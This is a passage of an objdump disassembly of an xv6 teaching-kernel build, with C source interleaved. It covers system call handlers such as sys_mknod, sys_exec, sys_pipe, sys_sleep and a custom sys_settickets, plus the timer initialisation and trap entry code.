801061fa: 83 c4 10 add $0x10,%esp 801061fd: 85 c0 test %eax,%eax 801061ff: 78 1b js 8010621c <sys_mkdir+0x3b> 80106201: 8b 45 f0 mov -0x10(%ebp),%eax 80106204: 6a 00 push $0x0 80106206: 6a 00 push $0x0 80106208: 6a 01 push $0x1 8010620a: 50 push %eax 8010620b: e8 62 fc ff ff call 80105e72 <create> 80106210: 83 c4 10 add $0x10,%esp 80106213: 89 45 f4 mov %eax,-0xc(%ebp) 80106216: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010621a: 75 0c jne 80106228 <sys_mkdir+0x47> end_op(); 8010621c: e8 b8 d3 ff ff call 801035d9 <end_op> return -1; 80106221: b8 ff ff ff ff mov $0xffffffff,%eax 80106226: eb 18 jmp 80106240 <sys_mkdir+0x5f> } iunlockput(ip); 80106228: 83 ec 0c sub $0xc,%esp 8010622b: ff 75 f4 pushl -0xc(%ebp) 8010622e: e8 f7 b9 ff ff call 80101c2a <iunlockput> 80106233: 83 c4 10 add $0x10,%esp end_op(); 80106236: e8 9e d3 ff ff call 801035d9 <end_op> return 0; 8010623b: b8 00 00 00 00 mov $0x0,%eax } 80106240: c9 leave 80106241: c3 ret 80106242 <sys_mknod>: int sys_mknod(void) { 80106242: 55 push %ebp 80106243: 89 e5 mov %esp,%ebp 80106245: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int len; int major, minor; begin_op(); 80106248: e8 00 d3 ff ff call 8010354d <begin_op> if((len=argstr(0, &path)) < 0 || 8010624d: 83 ec 08 sub $0x8,%esp 80106250: 8d 45 ec lea -0x14(%ebp),%eax 80106253: 50 push %eax 80106254: 6a 00 push $0x0 80106256: e8 e8 f4 ff ff call 80105743 <argstr> 8010625b: 83 c4 10 add $0x10,%esp 8010625e: 89 45 f4 mov %eax,-0xc(%ebp) 80106261: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106265: 78 4f js 801062b6 <sys_mknod+0x74> argint(1, &major) < 0 || 80106267: 83 ec 08 sub $0x8,%esp 8010626a: 8d 45 e8 lea -0x18(%ebp),%eax 8010626d: 50 push %eax 8010626e: 6a 01 push $0x1 80106270: e8 49 f4 ff ff call 801056be <argint> 80106275: 83 c4 10 add $0x10,%esp char *path; int len; int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || 80106278: 85 c0 test %eax,%eax 8010627a: 78 3a js 801062b6 <sys_mknod+0x74> argint(1, &major) < 0 || argint(2, &minor) < 0 || 8010627c: 83 ec 08 sub $0x8,%esp 8010627f: 8d 45 e4 lea -0x1c(%ebp),%eax 80106282: 50 push %eax 80106283: 6a 02 push $0x2 80106285: e8 34 f4 ff ff call 801056be <argint> 8010628a: 83 c4 10 add $0x10,%esp int len; int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || argint(1, &major) < 0 || 8010628d: 85 c0 test %eax,%eax 8010628f: 78 25 js 801062b6 <sys_mknod+0x74> argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ 80106291: 8b 45 e4 mov -0x1c(%ebp),%eax 80106294: 0f bf c8 movswl %ax,%ecx 80106297: 8b 45 e8 mov -0x18(%ebp),%eax 8010629a: 0f bf d0 movswl %ax,%edx 8010629d: 8b 45 ec mov -0x14(%ebp),%eax int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || 801062a0: 51 push %ecx 801062a1: 52 push %edx 801062a2: 6a 03 push $0x3 801062a4: 50 push %eax 801062a5: e8 c8 fb ff ff call 80105e72 <create> 801062aa: 83 c4 10 add $0x10,%esp 801062ad: 89 45 f0 mov %eax,-0x10(%ebp) 801062b0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801062b4: 75 0c jne 801062c2 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); 801062b6: e8 1e d3 ff ff call 801035d9 <end_op> return -1; 801062bb: b8 ff ff ff ff mov $0xffffffff,%eax 801062c0: eb 18 jmp 801062da <sys_mknod+0x98> } iunlockput(ip); 801062c2: 83 ec 0c sub $0xc,%esp 801062c5: ff 75 f0 pushl -0x10(%ebp) 801062c8: e8 5d b9 ff ff call 80101c2a <iunlockput> 801062cd: 83 c4 10 add $0x10,%esp end_op(); 801062d0: e8 04 d3 ff ff call 801035d9 <end_op> return 0; 801062d5: b8 00 00 00 00 mov $0x0,%eax } 801062da: c9 leave 801062db: c3 ret 801062dc <sys_chdir>: int sys_chdir(void) { 801062dc: 55 push %ebp 801062dd: 89 e5 mov %esp,%ebp 801062df: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 801062e2: e8 66 d2 ff ff call 8010354d <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 801062e7: 83 ec 08 sub $0x8,%esp 801062ea: 8d 45 f0 lea -0x10(%ebp),%eax 801062ed: 50 push %eax 801062ee: 6a 00 push $0x0 801062f0: e8 4e f4 ff ff call 80105743 <argstr> 801062f5: 83 c4 10 add $0x10,%esp 801062f8: 85 c0 test %eax,%eax 801062fa: 78 18 js 80106314 <sys_chdir+0x38> 801062fc: 8b 45 f0 mov -0x10(%ebp),%eax 801062ff: 83 ec 0c sub $0xc,%esp 80106302: 50 push %eax 80106303: e8 20 c2 ff ff call 80102528 <namei> 80106308: 83 c4 10 add $0x10,%esp 8010630b: 89 45 f4 mov %eax,-0xc(%ebp) 8010630e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106312: 75 0c jne 80106320 <sys_chdir+0x44> end_op(); 80106314: e8 c0 d2 ff ff call 801035d9 <end_op> return -1; 80106319: b8 ff ff ff ff mov $0xffffffff,%eax 8010631e: eb 6e jmp 8010638e <sys_chdir+0xb2> } ilock(ip); 80106320: 83 ec 0c sub $0xc,%esp 80106323: ff 75 f4 pushl -0xc(%ebp) 80106326: e8 3f b6 ff ff call 8010196a <ilock> 8010632b: 83 c4 10 add $0x10,%esp if(ip->type != T_DIR){ 8010632e: 8b 45 f4 mov -0xc(%ebp),%eax 80106331: 0f b7 40 10 movzwl 0x10(%eax),%eax 80106335: 66 83 f8 01 cmp $0x1,%ax 80106339: 74 1a je 80106355 <sys_chdir+0x79> iunlockput(ip); 8010633b: 83 ec 0c sub $0xc,%esp 8010633e: ff 75 f4 pushl -0xc(%ebp) 80106341: e8 e4 b8 ff ff call 80101c2a <iunlockput> 80106346: 83 c4 10 add $0x10,%esp end_op(); 80106349: e8 8b d2 ff ff call 801035d9 <end_op> return -1; 8010634e: b8 ff ff ff ff mov $0xffffffff,%eax 80106353: eb 39 jmp 8010638e <sys_chdir+0xb2> } iunlock(ip); 80106355: 83 ec 0c sub $0xc,%esp 80106358: ff 75 f4 pushl -0xc(%ebp) 8010635b: e8 68 b7 ff ff call 80101ac8 <iunlock> 80106360: 83 c4 10 add $0x10,%esp iput(proc->cwd); 80106363: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106369: 8b 40 68 mov 0x68(%eax),%eax 8010636c: 83 ec 0c sub $0xc,%esp 8010636f: 50 push %eax 80106370: e8 c5 b7 ff ff call 80101b3a <iput> 80106375: 83 c4 10 add $0x10,%esp end_op(); 80106378: e8 5c d2 ff ff call 801035d9 <end_op> proc->cwd = ip; 8010637d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106383: 8b 55 f4 mov -0xc(%ebp),%edx 80106386: 89 50 68 mov %edx,0x68(%eax) return 0; 80106389: b8 00 00 00 00 mov $0x0,%eax } 8010638e: c9 leave 8010638f: c3 ret 80106390 <sys_exec>: int sys_exec(void) { 80106390: 55 push %ebp 80106391: 89 e5 mov %esp,%ebp 80106393: 81 ec 98 00 00 00 sub $0x98,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80106399: 83 ec 08 sub $0x8,%esp 8010639c: 8d 45 f0 lea -0x10(%ebp),%eax 8010639f: 50 push %eax 801063a0: 6a 00 push $0x0 801063a2: e8 9c f3 ff ff call 80105743 <argstr> 801063a7: 83 c4 10 add $0x10,%esp 801063aa: 85 c0 test %eax,%eax 801063ac: 78 18 js 801063c6 <sys_exec+0x36> 801063ae: 83 ec 08 sub $0x8,%esp 801063b1: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax 801063b7: 50 push %eax 801063b8: 6a 01 push $0x1 801063ba: e8 ff f2 ff ff call 801056be <argint> 801063bf: 83 c4 10 add $0x10,%esp 801063c2: 85 c0 test %eax,%eax 801063c4: 79 0a jns 801063d0 <sys_exec+0x40> return -1; 801063c6: b8 ff ff ff ff mov $0xffffffff,%eax 801063cb: e9 c6 00 00 00 jmp 80106496 <sys_exec+0x106> } memset(argv, 0, sizeof(argv)); 801063d0: 83 ec 04 sub $0x4,%esp 801063d3: 68 80 00 00 00 push $0x80 801063d8: 6a 00 push $0x0 801063da: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax 801063e0: 50 push %eax 801063e1: e8 b3 ef ff ff call 80105399 <memset> 801063e6: 83 c4 10 add $0x10,%esp for(i=0;; i++){ 801063e9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if(i >= NELEM(argv)) 801063f0: 8b 45 f4 mov -0xc(%ebp),%eax 801063f3: 83 f8 1f cmp $0x1f,%eax 801063f6: 76 0a jbe 80106402 <sys_exec+0x72> return -1; 801063f8: b8 ff ff ff ff mov $0xffffffff,%eax 801063fd: e9 94 00 00 00 jmp 80106496 <sys_exec+0x106> if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80106402: 8b 45 f4 mov -0xc(%ebp),%eax 80106405: c1 e0 02 shl $0x2,%eax 80106408: 89 c2 mov %eax,%edx 8010640a: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax 80106410: 01 c2 add %eax,%edx 80106412: 83 ec 08 sub $0x8,%esp 80106415: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 8010641b: 50 push %eax 8010641c: 52 push %edx 8010641d: e8 00 f2 ff ff call 80105622 <fetchint> 80106422: 83 c4 10 add $0x10,%esp 80106425: 85 c0 test %eax,%eax 80106427: 79 07 jns 80106430 <sys_exec+0xa0> return -1; 80106429: b8 ff ff ff ff mov $0xffffffff,%eax 8010642e: eb 66 jmp 80106496 <sys_exec+0x106> if(uarg == 0){ 80106430: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax 80106436: 85 c0 test %eax,%eax 80106438: 75 27 jne 80106461 <sys_exec+0xd1> argv[i] = 0; 8010643a: 8b 45 f4 mov -0xc(%ebp),%eax 8010643d: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4) 80106444: 00 00 00 00 break; 80106448: 90 nop } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 80106449: 8b 45 f0 mov -0x10(%ebp),%eax 8010644c: 83 ec 08 sub $0x8,%esp 8010644f: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx 80106455: 52 push %edx 80106456: 50 push %eax 80106457: e8 15 a7 ff ff call 80100b71 <exec> 8010645c: 83 c4 10 add $0x10,%esp 8010645f: eb 35 jmp 80106496 <sys_exec+0x106> return -1; if(uarg == 0){ argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80106461: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax 80106467: 8b 55 f4 mov -0xc(%ebp),%edx 8010646a: c1 e2 02 shl $0x2,%edx 8010646d: 01 c2 add %eax,%edx 8010646f: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax 80106475: 83 ec 08 sub $0x8,%esp 80106478: 52 push %edx 80106479: 50 push %eax 8010647a: e8 dd f1 ff ff call 8010565c <fetchstr> 8010647f: 83 c4 10 add $0x10,%esp 80106482: 85 c0 test %eax,%eax 80106484: 79 07 jns 8010648d <sys_exec+0xfd> return -1; 80106486: b8 ff ff ff ff mov $0xffffffff,%eax 8010648b: eb 09 jmp 80106496 <sys_exec+0x106> if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); for(i=0;; i++){ 8010648d: 83 45 f4 01 addl $0x1,-0xc(%ebp) argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } 80106491: e9 5a ff ff ff jmp 801063f0 <sys_exec+0x60> return exec(path, argv); } 80106496: c9 leave 80106497: c3 ret 80106498 <sys_pipe>: int sys_pipe(void) { 80106498: 55 push %ebp 80106499: 89 e5 mov %esp,%ebp 8010649b: 83 ec 28 sub $0x28,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 8010649e: 83 ec 04 sub $0x4,%esp 801064a1: 6a 08 push $0x8 801064a3: 8d 45 ec lea -0x14(%ebp),%eax 801064a6: 50 push %eax 801064a7: 6a 00 push $0x0 801064a9: e8 38 f2 ff ff call 801056e6 <argptr> 801064ae: 83 c4 10 add $0x10,%esp 801064b1: 85 c0 test %eax,%eax 801064b3: 79 0a jns 801064bf <sys_pipe+0x27> return -1; 801064b5: b8 ff ff ff ff mov $0xffffffff,%eax 801064ba: e9 af 00 00 00 jmp 8010656e <sys_pipe+0xd6> if(pipealloc(&rf, &wf) < 0) 801064bf: 83 ec 08 sub $0x8,%esp 801064c2: 8d 45 e4 lea -0x1c(%ebp),%eax 801064c5: 50 push %eax 801064c6: 8d 45 e8 lea -0x18(%ebp),%eax 801064c9: 50 push %eax 801064ca: e8 72 db ff ff call 80104041 <pipealloc> 801064cf: 83 c4 10 add $0x10,%esp 801064d2: 85 c0 test %eax,%eax 801064d4: 79 0a jns 801064e0 <sys_pipe+0x48> return -1; 801064d6: b8 ff ff ff ff mov $0xffffffff,%eax 801064db: e9 8e 00 00 00 jmp 8010656e <sys_pipe+0xd6> fd0 = -1; 801064e0: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801064e7: 8b 45 e8 mov -0x18(%ebp),%eax 801064ea: 83 ec 0c sub $0xc,%esp 801064ed: 50 push %eax 801064ee: e8 7c f3 ff ff call 8010586f <fdalloc> 801064f3: 83 c4 10 add $0x10,%esp 801064f6: 89 45 f4 mov %eax,-0xc(%ebp) 801064f9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801064fd: 78 18 js 80106517 <sys_pipe+0x7f> 801064ff: 8b 45 e4 mov -0x1c(%ebp),%eax 80106502: 83 ec 0c sub $0xc,%esp 80106505: 50 push %eax 80106506: e8 64 f3 ff ff call 8010586f <fdalloc> 8010650b: 83 c4 10 add $0x10,%esp 8010650e: 89 45 f0 mov %eax,-0x10(%ebp) 80106511: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106515: 79 3f jns 80106556 <sys_pipe+0xbe> if(fd0 >= 0) 80106517: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010651b: 78 14 js 80106531 <sys_pipe+0x99> proc->ofile[fd0] = 0; 8010651d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106523: 8b 55 f4 mov -0xc(%ebp),%edx 80106526: 83 c2 08 add $0x8,%edx 80106529: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 80106530: 00 fileclose(rf); 80106531: 8b 45 e8 mov -0x18(%ebp),%eax 80106534: 83 ec 0c sub $0xc,%esp 80106537: 50 push %eax 80106538: e8 14 ab ff ff call 80101051 <fileclose> 8010653d: 83 c4 10 add $0x10,%esp fileclose(wf); 80106540: 8b 45 e4 mov -0x1c(%ebp),%eax 80106543: 83 ec 0c sub $0xc,%esp 80106546: 50 push %eax 80106547: e8 05 ab ff ff call 80101051 <fileclose> 8010654c: 83 c4 10 add $0x10,%esp return -1; 8010654f: b8 ff ff ff ff mov $0xffffffff,%eax 80106554: eb 18 jmp 8010656e <sys_pipe+0xd6> } fd[0] = fd0; 80106556: 8b 45 ec mov -0x14(%ebp),%eax 80106559: 8b 55 f4 mov -0xc(%ebp),%edx 8010655c: 89 10 mov %edx,(%eax) fd[1] = fd1; 8010655e: 8b 45 ec mov -0x14(%ebp),%eax 80106561: 8d 50 04 lea 0x4(%eax),%edx 80106564: 8b 45 f0 mov -0x10(%ebp),%eax 80106567: 89 02 mov %eax,(%edx) return 0; 80106569: b8 00 00 00 00 mov $0x0,%eax } 8010656e: c9 leave 8010656f: c3 ret 80106570 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80106570: 55 push %ebp 80106571: 89 e5 mov %esp,%ebp 80106573: 83 ec 08 sub $0x8,%esp return fork(); 80106576: e8 cd e1 ff ff call 80104748 <fork> } 8010657b: c9 leave 8010657c: c3 ret 8010657d <sys_exit>: int sys_exit(void) { 8010657d: 55 push %ebp 8010657e: 89 e5 mov %esp,%ebp 80106580: 83 ec 08 sub $0x8,%esp exit(); 80106583: e8 51 e3 ff ff call 801048d9 <exit> return 0; // not reached 80106588: b8 00 00 00 00 mov $0x0,%eax } 8010658d: c9 leave 8010658e: c3 ret 8010658f <sys_wait>: int sys_wait(void) { 8010658f: 55 push %ebp 80106590: 89 e5 mov %esp,%ebp 80106592: 83 ec 08 sub $0x8,%esp return wait(); 80106595: e8 77 e4 ff ff call 80104a11 <wait> } 8010659a: c9 leave 8010659b: c3 ret 8010659c <sys_kill>: int sys_kill(void) { 8010659c: 55 push %ebp 8010659d: 89 e5 mov %esp,%ebp 8010659f: 83 ec 18 sub $0x18,%esp int pid; if(argint(0, &pid) < 0) 801065a2: 83 ec 08 sub $0x8,%esp 801065a5: 8d 45 f4 lea -0xc(%ebp),%eax 801065a8: 50 push %eax 801065a9: 6a 00 push $0x0 801065ab: e8 0e f1 ff ff call 801056be <argint> 801065b0: 83 c4 10 add $0x10,%esp 801065b3: 85 c0 test %eax,%eax 801065b5: 79 07 jns 801065be <sys_kill+0x22> return -1; 801065b7: b8 ff ff ff ff mov $0xffffffff,%eax 801065bc: eb 0f jmp 801065cd <sys_kill+0x31> return kill(pid); 801065be: 8b 45 f4 mov -0xc(%ebp),%eax 801065c1: 83 ec 0c sub $0xc,%esp 801065c4: 50 push %eax 801065c5: e8 4f e9 ff ff call 80104f19 <kill> 801065ca: 83 c4 10 add $0x10,%esp } 801065cd: c9 leave 801065ce: c3 ret 801065cf <sys_getpid>: int sys_getpid(void) { 801065cf: 55 push %ebp 801065d0: 89 e5 mov %esp,%ebp return proc->pid; 801065d2: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801065d8: 8b 40 10 mov 0x10(%eax),%eax } 801065db: 5d pop %ebp 801065dc: c3 ret 801065dd <sys_sbrk>: int sys_sbrk(void) { 801065dd: 55 push %ebp 801065de: 89 e5 mov %esp,%ebp 801065e0: 83 ec 18 sub $0x18,%esp int addr; int n; if(argint(0, &n) < 0) 801065e3: 83 ec 08 sub $0x8,%esp 801065e6: 8d 45 f0 lea -0x10(%ebp),%eax 801065e9: 50 push %eax 801065ea: 6a 00 push $0x0 801065ec: e8 cd f0 ff ff call 801056be <argint> 801065f1: 83 c4 10 add $0x10,%esp 801065f4: 85 c0 test %eax,%eax 801065f6: 79 07 jns 801065ff <sys_sbrk+0x22> return -1; 801065f8: b8 ff ff ff ff mov $0xffffffff,%eax 801065fd: eb 28 jmp 80106627 <sys_sbrk+0x4a> addr = proc->sz; 801065ff: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106605: 8b 00 mov (%eax),%eax 80106607: 89 45 f4 mov %eax,-0xc(%ebp) if(growproc(n) < 0) 8010660a: 8b 45 f0 mov -0x10(%ebp),%eax 8010660d: 83 ec 0c sub $0xc,%esp 80106610: 50 push %eax 80106611: e8 8f e0 ff ff call 801046a5 <growproc> 80106616: 83 c4 10 add $0x10,%esp 80106619: 85 c0 test %eax,%eax 8010661b: 79 07 jns 80106624 <sys_sbrk+0x47> return -1; 8010661d: b8 ff ff ff ff mov $0xffffffff,%eax 80106622: eb 03 jmp 80106627 <sys_sbrk+0x4a> return addr; 80106624: 8b 45 f4 mov -0xc(%ebp),%eax } 80106627: c9 leave 80106628: c3 ret 80106629 <sys_sleep>: int sys_sleep(void) { 80106629: 55 push %ebp 8010662a: 89 e5 mov %esp,%ebp 8010662c: 83 ec 18 sub $0x18,%esp int n; uint ticks0; if(argint(0, &n) < 0) 8010662f: 83 ec 08 sub $0x8,%esp 80106632: 8d 45 f0 lea -0x10(%ebp),%eax 80106635: 50 push %eax 80106636: 6a 00 push $0x0 80106638: e8 81 f0 ff ff call 801056be <argint> 8010663d: 83 c4 10 add $0x10,%esp 80106640: 85 c0 test %eax,%eax 80106642: 79 07 jns 8010664b <sys_sleep+0x22> return -1; 80106644: b8 ff ff ff ff mov $0xffffffff,%eax 80106649: eb 77 jmp 801066c2 <sys_sleep+0x99> acquire(&tickslock); 8010664b: 83 ec 0c sub $0xc,%esp 8010664e: 68 80 63 11 80 push $0x80116380 80106653: e8 de ea ff ff call 80105136 <acquire> 80106658: 83 c4 10 add $0x10,%esp ticks0 = ticks; 8010665b: a1 c0 6b 11 80 mov 0x80116bc0,%eax 80106660: 89 45 f4 mov %eax,-0xc(%ebp) while(ticks - ticks0 < n){ 80106663: eb 39 jmp 8010669e <sys_sleep+0x75> if(proc->killed){ 80106665: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010666b: 8b 40 24 mov 0x24(%eax),%eax 8010666e: 85 c0 test %eax,%eax 80106670: 74 17 je 80106689 <sys_sleep+0x60> release(&tickslock); 80106672: 83 ec 0c sub $0xc,%esp 80106675: 68 80 63 11 80 push $0x80116380 8010667a: e8 1e eb ff ff call 8010519d <release> 8010667f: 83 c4 10 add $0x10,%esp return -1; 80106682: b8 ff ff ff ff mov $0xffffffff,%eax 80106687: eb 39 jmp 801066c2 <sys_sleep+0x99> } sleep(&ticks, &tickslock); 80106689: 83 ec 08 sub $0x8,%esp 8010668c: 68 80 63 11 80 push $0x80116380 80106691: 68 c0 6b 11 80 push $0x80116bc0 80106696: e8 5c e7 ff ff call 80104df7 <sleep> 8010669b: 83 c4 10 add $0x10,%esp if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; while(ticks - ticks0 < n){ 8010669e: a1 c0 6b 11 80 mov 0x80116bc0,%eax 801066a3: 2b 45 f4 sub -0xc(%ebp),%eax 801066a6: 8b 55 f0 mov -0x10(%ebp),%edx 801066a9: 39 d0 cmp %edx,%eax 801066ab: 72 b8 jb 80106665 <sys_sleep+0x3c> release(&tickslock); return -1; } sleep(&ticks, &tickslock); } release(&tickslock); 801066ad: 83 ec 0c sub $0xc,%esp 801066b0: 68 80 63 11 80 push $0x80116380 801066b5: e8 e3 ea ff ff call 8010519d <release> 801066ba: 83 c4 10 add $0x10,%esp return 0; 801066bd: b8 00 00 00 00 mov $0x0,%eax } 801066c2: c9 leave 801066c3: c3 ret 801066c4 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801066c4: 55 push %ebp 801066c5: 89 e5 mov %esp,%ebp 801066c7: 83 ec 18 sub $0x18,%esp uint xticks; acquire(&tickslock); 801066ca: 83 ec 0c sub $0xc,%esp 801066cd: 68 80 63 11 80 push $0x80116380 801066d2: e8 5f ea ff ff call 80105136 <acquire> 801066d7: 83 c4 10 add $0x10,%esp xticks = ticks; 801066da: a1 c0 6b 11 80 mov 0x80116bc0,%eax 801066df: 89 45 f4 mov %eax,-0xc(%ebp) release(&tickslock); 801066e2: 83 ec 0c sub $0xc,%esp 801066e5: 68 80 63 11 80 push $0x80116380 801066ea: e8 ae ea ff ff call 8010519d <release> 801066ef: 83 c4 10 add $0x10,%esp return xticks; 801066f2: 8b 45 f4 mov -0xc(%ebp),%eax } 801066f5: c9 leave 801066f6: c3 ret 801066f7 <sys_settickets>: int sys_settickets(void) { 801066f7: 55 push %ebp 801066f8: 89 e5 mov %esp,%ebp 801066fa: 83 ec 18 sub $0x18,%esp int num; if(argint(0, &num) < 0) 801066fd: 83 ec 08 sub $0x8,%esp 80106700: 8d 45 f4 lea -0xc(%ebp),%eax 80106703: 50 push %eax 80106704: 6a 00 push $0x0 80106706: e8 b3 ef ff ff call 801056be <argint> 8010670b: 83 c4 10 add $0x10,%esp 8010670e: 85 c0 test %eax,%eax 80106710: 79 07 jns 80106719 <sys_settickets+0x22> return -1; 80106712: b8 ff ff ff ff mov $0xffffffff,%eax 80106717: eb 1d jmp 80106736 <sys_settickets+0x3f> if(num < 0) 80106719: 8b 45 f4 mov -0xc(%ebp),%eax 8010671c: 85 c0 test %eax,%eax 8010671e: 79 07 jns 80106727 <sys_settickets+0x30> return -1; 80106720: b8 ff ff ff ff mov $0xffffffff,%eax 80106725: eb 0f jmp 80106736 <sys_settickets+0x3f> return settickets(num); 80106727: 8b 45 f4 mov -0xc(%ebp),%eax 8010672a: 83 ec 0c sub $0xc,%esp 8010672d: 50 push %eax 8010672e: e8 63 e9 ff ff call 80105096 <settickets> 80106733: 83 c4 10 add $0x10,%esp } 80106736: c9 leave 80106737: c3 ret 80106738 <sys_gettime>: int sys_gettime(void) { 80106738: 55 push %ebp 80106739: 89 e5 mov %esp,%ebp 8010673b: 83 ec 18 sub $0x18,%esp struct rtcdate *d; if (argptr(0, (char **)&d, sizeof(struct rtcdate)) < 0) 8010673e: 83 ec 04 sub $0x4,%esp 80106741: 6a 18 push $0x18 80106743: 8d 45 f4 lea -0xc(%ebp),%eax 80106746: 50 push %eax 80106747: 6a 00 push $0x0 80106749: e8 98 ef ff ff call 801056e6 <argptr> 8010674e: 83 c4 10 add $0x10,%esp 80106751: 85 c0 test %eax,%eax 80106753: 79 07 jns 8010675c <sys_gettime+0x24> return -1; 80106755: b8 ff ff ff ff mov $0xffffffff,%eax 8010675a: eb 14 jmp 80106770 <sys_gettime+0x38> cmostime(d); 8010675c: 8b 45 f4 mov -0xc(%ebp),%eax 8010675f: 83 ec 0c sub $0xc,%esp 80106762: 50 push %eax 80106763: e8 60 ca ff ff call 801031c8 <cmostime> 80106768: 83 c4 10 add $0x10,%esp return 0; 8010676b: b8 00 00 00 00 mov $0x0,%eax 80106770: c9 leave 80106771: c3 ret 80106772 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80106772: 55 push %ebp 80106773: 89 e5 mov %esp,%ebp 80106775: 83 ec 08 sub $0x8,%esp 80106778: 8b 55 08 mov 0x8(%ebp),%edx 8010677b: 8b 45 0c mov 0xc(%ebp),%eax 8010677e: 66 89 55 fc mov %dx,-0x4(%ebp) 80106782: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80106785: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80106789: 0f b7 55 fc movzwl -0x4(%ebp),%edx 8010678d: ee out %al,(%dx) } 8010678e: 90 nop 8010678f: c9 leave 80106790: c3 ret 80106791 <timerinit>: #define TIMER_RATEGEN 0x04 // mode 2, rate generator #define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first void timerinit(void) { 80106791: 55 push %ebp 80106792: 89 e5 mov %esp,%ebp 80106794: 83 ec 08 sub $0x8,%esp // Interrupt 100 times/sec. outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT); 80106797: 6a 34 push $0x34 80106799: 6a 43 push $0x43 8010679b: e8 d2 ff ff ff call 80106772 <outb> 801067a0: 83 c4 08 add $0x8,%esp outb(IO_TIMER1, TIMER_DIV(100) % 256); 801067a3: 68 9c 00 00 00 push $0x9c 801067a8: 6a 40 push $0x40 801067aa: e8 c3 ff ff ff call 80106772 <outb> 801067af: 83 c4 08 add $0x8,%esp outb(IO_TIMER1, TIMER_DIV(100) / 256); 801067b2: 6a 2e push $0x2e 801067b4: 6a 40 push $0x40 801067b6: e8 b7 ff ff ff call 80106772 <outb> 801067bb: 83 c4 08 add $0x8,%esp picenable(IRQ_TIMER); 801067be: 83 ec 0c sub $0xc,%esp 801067c1: 6a 00 push $0x0 801067c3: e8 63 d7 ff ff call 80103f2b <picenable> 801067c8: 83 c4 10 add $0x10,%esp } 801067cb: 90 nop 801067cc: c9 leave 801067cd: c3 ret 801067ce <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 801067ce: 1e push %ds pushl %es 801067cf: 06 push %es pushl %fs 801067d0: 0f a0 push %fs pushl %gs 801067d2: 0f a8 push %gs pushal 801067d4: 60 pusha # Set up data and per-cpu segments. movw $(SEG_KDATA<<3), %ax 801067d5: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 801067d9: 8e d8 mov %eax,%ds movw %ax, %es 801067db: 8e c0 mov %eax,%es movw $(SEG_KCPU<<3), %ax 801067dd: 66 b8 18 00 mov $0x18,%ax movw %ax, %fs 801067e1: 8e e0 mov %eax,%fs movw %ax, %gs 801067e3: 8e e8 mov %eax,%gs # Call trap(tf), where tf=%esp pushl %esp 801067e5: 54 push %esp call trap 801067e6: e8 d7 01 00 00 call 801069c2 <trap> addl $4, %esp 801067eb: 83 c4 04 add $0x4,%esp 801067ee <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 801067ee: 61 popa popl %gs 801067ef: 0f a9 pop %gs popl %fs 801067f1: 0f a1 pop %fs popl %es 801067f3: 07 pop %es popl %ds 801067f4: 1f pop %ds addl $0x8, %esp # trapno and errcode 801067f5: 83 c4 08 add $0x8,%esp iret 801067f8: cf iret 801067f9 <lidt>: struct gatedesc; static inline void lidt(struct gatedesc *p, int size) { 801067f9: 55 push %ebp 801067fa: 89 e5 mov %esp,%ebp 801067fc: 83 ec 10 sub $0x10,%esp volatile ushort pd[3]; pd[0] = size-1; 801067ff: 8b 45 0c mov 0xc(%ebp),%eax 80106802: 83 e8 01 sub $0x1,%eax 